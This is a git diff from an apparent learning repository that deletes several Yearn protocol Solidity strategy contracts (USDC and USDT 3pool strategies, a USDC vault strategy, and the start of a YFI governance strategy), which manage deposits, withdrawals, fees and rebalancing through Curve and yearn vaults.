-        uint256 _p = yvERC20(yycrv).getPricePerFullShare();
-        _p = _p.mul(ICurveFi(ypool).get_virtual_price()).div(1e18);
-        require(_p >= p, "backward");
-        uint256 _r = (_p.sub(p)).mul(balanceOfYYCRV()).div(1e18);
-        uint256 _s = _r.mul(strategistReward).div(DENOMINATOR);
-        IERC20(yycrv).safeTransfer(strategist, _s.mul(1e18).div(_p));
-        uint256 _t = _r.mul(treasuryFee).div(DENOMINATOR);
-        IERC20(yycrv).safeTransfer(IController(controller).rewards(), _t.mul(1e18).div(_p));
-        p = _p;
-    }
-
-    function tick() public view returns (uint256 _t, uint256 _c) {
-        _t = ICurveFi(ypool).balances(3).mul(yvERC20(ytusd).getPricePerFullShare()).div(1e18).mul(threshold).div(DENOMINATOR);
-        _c = balanceOfYYCRVinWant();
-    }
-
-    function rebalance() public isAuthorized {
-        drip();
-        (uint256 _t, uint256 _c) = tick();
-        if (_c > _t) {
-            _withdrawSome(_c.sub(_t));
-            tank = IERC20(want).balanceOf(address(this));
-            emit Threshold(address(this));
-        }
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance || msg.sender == strategist, "!gs");
-        strategist = _strategist;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setTreasuryFee(uint256 _treasuryFee) external {
-        require(msg.sender == governance, "!governance");
-        treasuryFee = _treasuryFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setThreshold(uint256 _threshold) external {
-        require(msg.sender == strategist || msg.sender == governance, "!ksg");
-        threshold = _threshold;
-    }
-
-    function setSlip(uint256 _slip) external {
-        require(msg.sender == strategist || msg.sender == governance, "!ksg");
-        slip = _slip;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyUSDC3pool.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyUSDC3pool.sol
deleted file mode 100644
index 00b402b3e..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyUSDC3pool.sol
+++ /dev/null
@@ -1,288 +0,0 @@
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Curve.sol";
-
-interface yvERC20 {
-    function deposit(uint256) external;
-
-    function withdraw(uint256) external;
-
-    function getPricePerFullShare() external view returns (uint256);
-}
-
-/*
-
- A strategy must implement the following calls;
- 
- - deposit()
- - withdraw(address) must exclude any tokens used in the yield - Controller role - withdraw should return to Controller
- - withdraw(uint) - Controller | Vault role - withdraw should always return to vault
- - withdrawAll() - Controller | Vault role - withdraw should always return to vault
- - balanceOf()
- 
- Where possible, strategies must remain as immutable as possible, instead of updating variables, we update the contract by linking it in the controller
- 
-*/
-
-contract StrategyUSDC3pool {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
-    address public constant _3pool = address(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
-    address public constant _3crv = address(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
-    address public constant y3crv = address(0x9cA85572E6A3EbF24dEDd195623F188735A5179f);
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    uint256 public constant DENOMINATOR = 10000;
-    uint256 public treasuryFee = 500;
-    uint256 public withdrawalFee = 0;
-    uint256 public strategistReward = 50;
-    uint256 public threshold = 6000;
-    uint256 public slip = 100;
-    uint256 public tank = 0;
-    uint256 public p = 0;
-
-    modifier isAuthorized() {
-        require(msg.sender == governance || msg.sender == strategist || msg.sender == controller || msg.sender == address(this), "!authorized");
-        _;
-    }
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyUSDC3pool";
-    }
-
-    function deposit() public isAuthorized {
-        rebalance();
-        uint256 _want = (IERC20(want).balanceOf(address(this))).sub(tank);
-        if (_want > 0) {
-            IERC20(want).safeApprove(_3pool, 0);
-            IERC20(want).safeApprove(_3pool, _want);
-            uint256 v = _want.mul(1e30).div(ICurveFi(_3pool).get_virtual_price());
-            ICurveFi(_3pool).add_liquidity([0, _want, 0], v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        }
-        uint256 _bal = IERC20(_3crv).balanceOf(address(this));
-        if (_bal > 0) {
-            IERC20(_3crv).safeApprove(y3crv, 0);
-            IERC20(_3crv).safeApprove(y3crv, _bal);
-            yvERC20(y3crv).deposit(_bal);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(_3crv != address(_asset), "3crv");
-        require(y3crv != address(_asset), "y3crv");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-
-        rebalance();
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-            tank = 0;
-        } else {
-            if (tank >= _amount) tank = tank.sub(_amount);
-            else tank = 0;
-        }
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        uint256 _fee = _amount.mul(withdrawalFee).div(DENOMINATOR);
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        uint256 _amnt = _amount.mul(1e30).div(ICurveFi(_3pool).get_virtual_price());
-        uint256 _amt = _amnt.mul(1e18).div(yvERC20(y3crv).getPricePerFullShare());
-        uint256 _before = IERC20(_3crv).balanceOf(address(this));
-        yvERC20(y3crv).withdraw(_amt);
-        uint256 _after = IERC20(_3crv).balanceOf(address(this));
-        return _withdrawOne(_after.sub(_before));
-    }
-
-    function _withdrawOne(uint256 _amnt) internal returns (uint256) {
-        uint256 _before = IERC20(want).balanceOf(address(this));
-        IERC20(_3crv).safeApprove(_3pool, 0);
-        IERC20(_3crv).safeApprove(_3pool, _amnt);
-        ICurveFi(_3pool).remove_liquidity_one_coin(_amnt, 1, _amnt.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR).div(1e12));
-        uint256 _after = IERC20(want).balanceOf(address(this));
-
-        return _after.sub(_before);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        uint256 _y3crv = IERC20(y3crv).balanceOf(address(this));
-        if (_y3crv > 0) {
-            yvERC20(y3crv).withdraw(_y3crv);
-            _withdrawOne(IERC20(_3crv).balanceOf(address(this)));
-        }
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOf3CRV() public view returns (uint256) {
-        return IERC20(_3crv).balanceOf(address(this));
-    }
-
-    function balanceOf3CRVinWant() public view returns (uint256) {
-        return balanceOf3CRV().mul(ICurveFi(_3pool).get_virtual_price()).div(1e30);
-    }
-
-    function balanceOfy3CRV() public view returns (uint256) {
-        return IERC20(y3crv).balanceOf(address(this));
-    }
-
-    function balanceOfy3CRVin3CRV() public view returns (uint256) {
-        return balanceOfy3CRV().mul(yvERC20(y3crv).getPricePerFullShare()).div(1e18);
-    }
-
-    function balanceOfy3CRVinWant() public view returns (uint256) {
-        return balanceOfy3CRVin3CRV().mul(ICurveFi(_3pool).get_virtual_price()).div(1e30);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfy3CRVinWant());
-    }
-
-    function migrate(address _strategy) external {
-        require(msg.sender == governance, "!governance");
-        require(IController(controller).approvedStrategies(want, _strategy), "!stategyAllowed");
-        IERC20(y3crv).safeTransfer(_strategy, IERC20(y3crv).balanceOf(address(this)));
-        IERC20(_3crv).safeTransfer(_strategy, IERC20(_3crv).balanceOf(address(this)));
-        IERC20(want).safeTransfer(_strategy, IERC20(want).balanceOf(address(this)));
-    }
-
-    function forceD(uint256 _amount) external isAuthorized {
-        IERC20(want).safeApprove(_3pool, 0);
-        IERC20(want).safeApprove(_3pool, _amount);
-        uint256 v = _amount.mul(1e30).div(ICurveFi(_3pool).get_virtual_price());
-        ICurveFi(_3pool).add_liquidity([0, _amount, 0], v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        if (_amount < tank) tank = tank.sub(_amount);
-        else tank = 0;
-
-        uint256 _bal = IERC20(_3crv).balanceOf(address(this));
-        IERC20(_3crv).safeApprove(y3crv, 0);
-        IERC20(_3crv).safeApprove(y3crv, _bal);
-        yvERC20(y3crv).deposit(_bal);
-    }
-
-    function forceW(uint256 _amt) external isAuthorized {
-        uint256 _before = IERC20(_3crv).balanceOf(address(this));
-        yvERC20(y3crv).withdraw(_amt);
-        uint256 _after = IERC20(_3crv).balanceOf(address(this));
-        _amt = _after.sub(_before);
-
-        IERC20(_3crv).safeApprove(_3pool, 0);
-        IERC20(_3crv).safeApprove(_3pool, _amt);
-        _before = IERC20(want).balanceOf(address(this));
-        ICurveFi(_3pool).remove_liquidity_one_coin(_amt, 1, _amt.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR).div(1e12));
-        _after = IERC20(want).balanceOf(address(this));
-        tank = tank.add(_after.sub(_before));
-    }
-
-    function drip() public isAuthorized {
-        uint256 _p = yvERC20(y3crv).getPricePerFullShare();
-        _p = _p.mul(ICurveFi(_3pool).get_virtual_price()).div(1e18);
-        require(_p >= p, "backward");
-        uint256 _r = (_p.sub(p)).mul(balanceOfy3CRV()).div(1e18);
-        uint256 _s = _r.mul(strategistReward).div(DENOMINATOR);
-        IERC20(y3crv).safeTransfer(strategist, _s.mul(1e18).div(_p));
-        uint256 _t = _r.mul(treasuryFee).div(DENOMINATOR);
-        IERC20(y3crv).safeTransfer(IController(controller).rewards(), _t.mul(1e18).div(_p));
-        p = _p;
-    }
-
-    function tick() public view returns (uint256 _t, uint256 _c) {
-        _t = ICurveFi(_3pool).balances(1).mul(threshold).div(DENOMINATOR);
-        _c = balanceOfy3CRVinWant();
-    }
-
-    function rebalance() public isAuthorized {
-        drip();
-        (uint256 _t, uint256 _c) = tick();
-        if (_c > _t) {
-            _withdrawSome(_c.sub(_t));
-            tank = IERC20(want).balanceOf(address(this));
-        }
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance || msg.sender == strategist, "!gs");
-        strategist = _strategist;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setTreasuryFee(uint256 _treasuryFee) external {
-        require(msg.sender == governance, "!governance");
-        treasuryFee = _treasuryFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setThreshold(uint256 _threshold) external {
-        require(msg.sender == strategist || msg.sender == governance, "!sg");
-        threshold = _threshold;
-    }
-
-    function setSlip(uint256 _slip) external {
-        require(msg.sender == strategist || msg.sender == governance, "!sg");
-        slip = _slip;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyUSDT3pool.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyUSDT3pool.sol
deleted file mode 100644
index 68c79714f..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyUSDT3pool.sol
+++ /dev/null
@@ -1,293 +0,0 @@
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Curve.sol";
-
-interface yvERC20 {
-    function deposit(uint256) external;
-
-    function withdraw(uint256) external;
-
-    function earn() external;
-
-    function getPricePerFullShare() external view returns (uint256);
-}
-
-/*
-
- A strategy must implement the following calls;
- 
- - deposit()
- - withdraw(address) must exclude any tokens used in the yield - Controller role - withdraw should return to Controller
- - withdraw(uint) - Controller | Vault role - withdraw should always return to vault
- - withdrawAll() - Controller | Vault role - withdraw should always return to vault
- - balanceOf()
- 
- Where possible, strategies must remain as immutable as possible, instead of updating variables, we update the contract by linking it in the controller
- 
-*/
-
-contract StrategyUSDT3pool {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0xdAC17F958D2ee523a2206206994597C13D831ec7);
-    address public constant _3pool = address(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
-    address public constant _3crv = address(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
-    address public constant y3crv = address(0x9cA85572E6A3EbF24dEDd195623F188735A5179f);
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    uint256 public constant DENOMINATOR = 10000;
-    uint256 public treasuryFee = 500;
-    uint256 public withdrawalFee = 0;
-    uint256 public strategistReward = 50;
-    uint256 public threshold = 6000;
-    uint256 public slip = 100;
-    uint256 public tank = 0;
-    uint256 public p = 0;
-
-    event Threshold(address indexed strategy);
-
-    modifier isAuthorized() {
-        require(msg.sender == governance || msg.sender == strategist || msg.sender == controller || msg.sender == address(this), "!authorized");
-        _;
-    }
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyUSDT3pool";
-    }
-
-    function deposit() public isAuthorized {
-        rebalance();
-        uint256 _want = (IERC20(want).balanceOf(address(this))).sub(tank);
-        if (_want > 0) {
-            IERC20(want).safeApprove(_3pool, 0);
-            IERC20(want).safeApprove(_3pool, _want);
-            uint256 v = _want.mul(1e30).div(ICurveFi(_3pool).get_virtual_price());
-            ICurveFi(_3pool).add_liquidity([0, 0, _want], v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        }
-        uint256 _bal = IERC20(_3crv).balanceOf(address(this));
-        if (_bal > 0) {
-            IERC20(_3crv).safeApprove(y3crv, 0);
-            IERC20(_3crv).safeApprove(y3crv, _bal);
-            yvERC20(y3crv).deposit(_bal);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(_3crv != address(_asset), "3crv");
-        require(y3crv != address(_asset), "y3crv");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-
-        rebalance();
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-            tank = 0;
-        } else {
-            if (tank >= _amount) tank = tank.sub(_amount);
-            else tank = 0;
-        }
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        uint256 _fee = _amount.mul(withdrawalFee).div(DENOMINATOR);
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        uint256 _amnt = _amount.mul(1e30).div(ICurveFi(_3pool).get_virtual_price());
-        uint256 _amt = _amnt.mul(1e18).div(yvERC20(y3crv).getPricePerFullShare());
-        uint256 _before = IERC20(_3crv).balanceOf(address(this));
-        yvERC20(y3crv).withdraw(_amt);
-        uint256 _after = IERC20(_3crv).balanceOf(address(this));
-        return _withdrawOne(_after.sub(_before));
-    }
-
-    function _withdrawOne(uint256 _amnt) internal returns (uint256) {
-        uint256 _before = IERC20(want).balanceOf(address(this));
-        IERC20(_3crv).safeApprove(_3pool, 0);
-        IERC20(_3crv).safeApprove(_3pool, _amnt);
-        ICurveFi(_3pool).remove_liquidity_one_coin(_amnt, 2, _amnt.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR).div(1e12));
-        uint256 _after = IERC20(want).balanceOf(address(this));
-
-        return _after.sub(_before);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        uint256 _y3crv = IERC20(y3crv).balanceOf(address(this));
-        if (_y3crv > 0) {
-            yvERC20(y3crv).withdraw(_y3crv);
-            _withdrawOne(IERC20(_3crv).balanceOf(address(this)));
-        }
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOf3CRV() public view returns (uint256) {
-        return IERC20(_3crv).balanceOf(address(this));
-    }
-
-    function balanceOf3CRVinWant() public view returns (uint256) {
-        return balanceOf3CRV().mul(ICurveFi(_3pool).get_virtual_price()).div(1e30);
-    }
-
-    function balanceOfy3CRV() public view returns (uint256) {
-        return IERC20(y3crv).balanceOf(address(this));
-    }
-
-    function balanceOfy3CRVin3CRV() public view returns (uint256) {
-        return balanceOfy3CRV().mul(yvERC20(y3crv).getPricePerFullShare()).div(1e18);
-    }
-
-    function balanceOfy3CRVinWant() public view returns (uint256) {
-        return balanceOfy3CRVin3CRV().mul(ICurveFi(_3pool).get_virtual_price()).div(1e30);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfy3CRVinWant());
-    }
-
-    function migrate(address _strategy) external {
-        require(msg.sender == governance, "!governance");
-        require(IController(controller).approvedStrategies(want, _strategy), "!stategyAllowed");
-        IERC20(y3crv).safeTransfer(_strategy, IERC20(y3crv).balanceOf(address(this)));
-        IERC20(_3crv).safeTransfer(_strategy, IERC20(_3crv).balanceOf(address(this)));
-        IERC20(want).safeTransfer(_strategy, IERC20(want).balanceOf(address(this)));
-    }
-
-    function forceD(uint256 _amount) external isAuthorized {
-        IERC20(want).safeApprove(_3pool, 0);
-        IERC20(want).safeApprove(_3pool, _amount);
-        uint256 v = _amount.mul(1e30).div(ICurveFi(_3pool).get_virtual_price());
-        ICurveFi(_3pool).add_liquidity([0, 0, _amount], v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        if (_amount < tank) tank = tank.sub(_amount);
-        else tank = 0;
-
-        uint256 _bal = IERC20(_3crv).balanceOf(address(this));
-        IERC20(_3crv).safeApprove(y3crv, 0);
-        IERC20(_3crv).safeApprove(y3crv, _bal);
-        yvERC20(y3crv).deposit(_bal);
-    }
-
-    function forceW(uint256 _amt) external isAuthorized {
-        uint256 _before = IERC20(_3crv).balanceOf(address(this));
-        yvERC20(y3crv).withdraw(_amt);
-        uint256 _after = IERC20(_3crv).balanceOf(address(this));
-        _amt = _after.sub(_before);
-
-        IERC20(_3crv).safeApprove(_3pool, 0);
-        IERC20(_3crv).safeApprove(_3pool, _amt);
-        _before = IERC20(want).balanceOf(address(this));
-        ICurveFi(_3pool).remove_liquidity_one_coin(_amt, 2, _amt.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR).div(1e12));
-        _after = IERC20(want).balanceOf(address(this));
-        tank = tank.add(_after.sub(_before));
-    }
-
-    function drip() public isAuthorized {
-        uint256 _p = yvERC20(y3crv).getPricePerFullShare();
-        _p = _p.mul(ICurveFi(_3pool).get_virtual_price()).div(1e18);
-        require(_p >= p, "backward");
-        uint256 _r = (_p.sub(p)).mul(balanceOfy3CRV()).div(1e18);
-        uint256 _s = _r.mul(strategistReward).div(DENOMINATOR);
-        IERC20(y3crv).safeTransfer(strategist, _s.mul(1e18).div(_p));
-        uint256 _t = _r.mul(treasuryFee).div(DENOMINATOR);
-        IERC20(y3crv).safeTransfer(IController(controller).rewards(), _t.mul(1e18).div(_p));
-        p = _p;
-    }
-
-    function tick() public view returns (uint256 _t, uint256 _c) {
-        _t = ICurveFi(_3pool).balances(2).mul(threshold).div(DENOMINATOR);
-        _c = balanceOfy3CRVinWant();
-    }
-
-    function rebalance() public isAuthorized {
-        drip();
-        (uint256 _t, uint256 _c) = tick();
-        if (_c > _t) {
-            _withdrawSome(_c.sub(_t));
-            tank = IERC20(want).balanceOf(address(this));
-            emit Threshold(address(this));
-        }
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setIController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance || msg.sender == strategist, "!gs");
-        strategist = _strategist;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setTreasuryFee(uint256 _treasuryFee) external {
-        require(msg.sender == governance, "!governance");
-        treasuryFee = _treasuryFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setThreshold(uint256 _threshold) external {
-        require(msg.sender == strategist || msg.sender == governance, "!sg");
-        threshold = _threshold;
-    }
-
-    function setSlip(uint256 _slip) external {
-        require(msg.sender == strategist || msg.sender == governance, "!sg");
-        slip = _slip;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyVaultUSDC.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyVaultUSDC.sol
deleted file mode 100644
index 05dd3f933..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyVaultUSDC.sol
+++ /dev/null
@@ -1,148 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/aave/Aave.sol";
-import "../../interfaces/aave/LendingPoolAddressesProvider.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/yearn/IVault.sol";
-
-contract StrategyVaultUSDC {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
-    address public constant vault = address(0x597aD1e0c13Bfe8025993D9e79C69E1c0233522e);
-
-    address public constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
-
-    address public governance;
-    address public controller;
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        controller = _controller;
-    }
-
-    function deposit() external {
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance > 0) {
-            IERC20(want).safeApprove(address(vault), 0);
-            IERC20(want).safeApprove(address(vault), _balance);
-            IVault(vault).deposit(_balance);
-        }
-    }
-
-    function getAave() public view returns (address) {
-        return LendingPoolAddressesProvider(aave).getLendingPool();
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyVaultUSDC";
-    }
-
-    function debt() external view returns (uint256) {
-        (, uint256 currentBorrowBalance, , , , , , , , ) = Aave(getAave()).getUserReserveData(
-            want,
-            IController(controller).vaults(address(this))
-        );
-        return currentBorrowBalance;
-    }
-
-    function have() public view returns (uint256) {
-        uint256 _have = balanceOf();
-        return _have;
-    }
-
-    function skimmable() public view returns (uint256) {
-        (, uint256 currentBorrowBalance, , , , , , , , ) = Aave(getAave()).getUserReserveData(
-            want,
-            IController(controller).vaults(address(this))
-        );
-        uint256 _have = have();
-        if (_have > currentBorrowBalance) {
-            return _have.sub(currentBorrowBalance);
-        } else {
-            return 0;
-        }
-    }
-
-    function skim() external {
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        uint256 _amount = skimmable();
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-        IERC20(want).safeTransfer(controller, _amount);
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(address(_asset) != address(want), "!want");
-        require(address(_asset) != address(vault), "!vault");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-        address _vault = IController(controller).vaults(address(this));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, _amount);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-        balance = IERC20(want).balanceOf(address(this));
-        address _vault = IController(controller).vaults(address(this));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        IVault(vault).withdraw(IERC20(vault).balanceOf(address(this)));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        uint256 _redeem = IERC20(vault).balanceOf(address(this)).mul(_amount).div(balanceSavingsInToken());
-        uint256 _before = IERC20(want).balanceOf(address(this));
-        IVault(vault).withdraw(_redeem);
-        uint256 _after = IERC20(want).balanceOf(address(this));
-        return _after.sub(_before);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this)).add(balanceSavingsInToken());
-    }
-
-    function balanceSavingsInToken() public view returns (uint256) {
-        return IERC20(vault).balanceOf(address(this)).mul(IVault(vault).getPricePerFullShare()).div(1e18);
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyYFIGovernance.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyYFIGovernance.sol
deleted file mode 100644
index 463fbb2a3..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyYFIGovernance.sol
+++ /dev/null
@@ -1,177 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/yearn/IGovernance.sol";
-import "../../interfaces/yearn/IToken.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Curve.sol";
-
-/*
-
- A strategy must implement the following calls;
- 
- - deposit()
- - withdraw(address) must exclude any tokens used in the yield - Controller role - withdraw should return to Controller
- - withdraw(uint) - Controller | Vault role - withdraw should always return to vault
- - withdrawAll() - Controller | Vault role - withdraw should always return to vault
- - balanceOf()
- 
- Where possible, strategies must remain as immutable as possible, instead of updating variables, we update the contract by linking it in the controller
- 
-*/
-
-contract StrategyYFIGovernance {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e);
-    address public constant gov = address(0xBa37B002AbaFDd8E89a1995dA52740bbC013D992);
-    address public constant curve = address(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
-    address public constant zap = address(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3);
-
-    address public constant reward = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8);
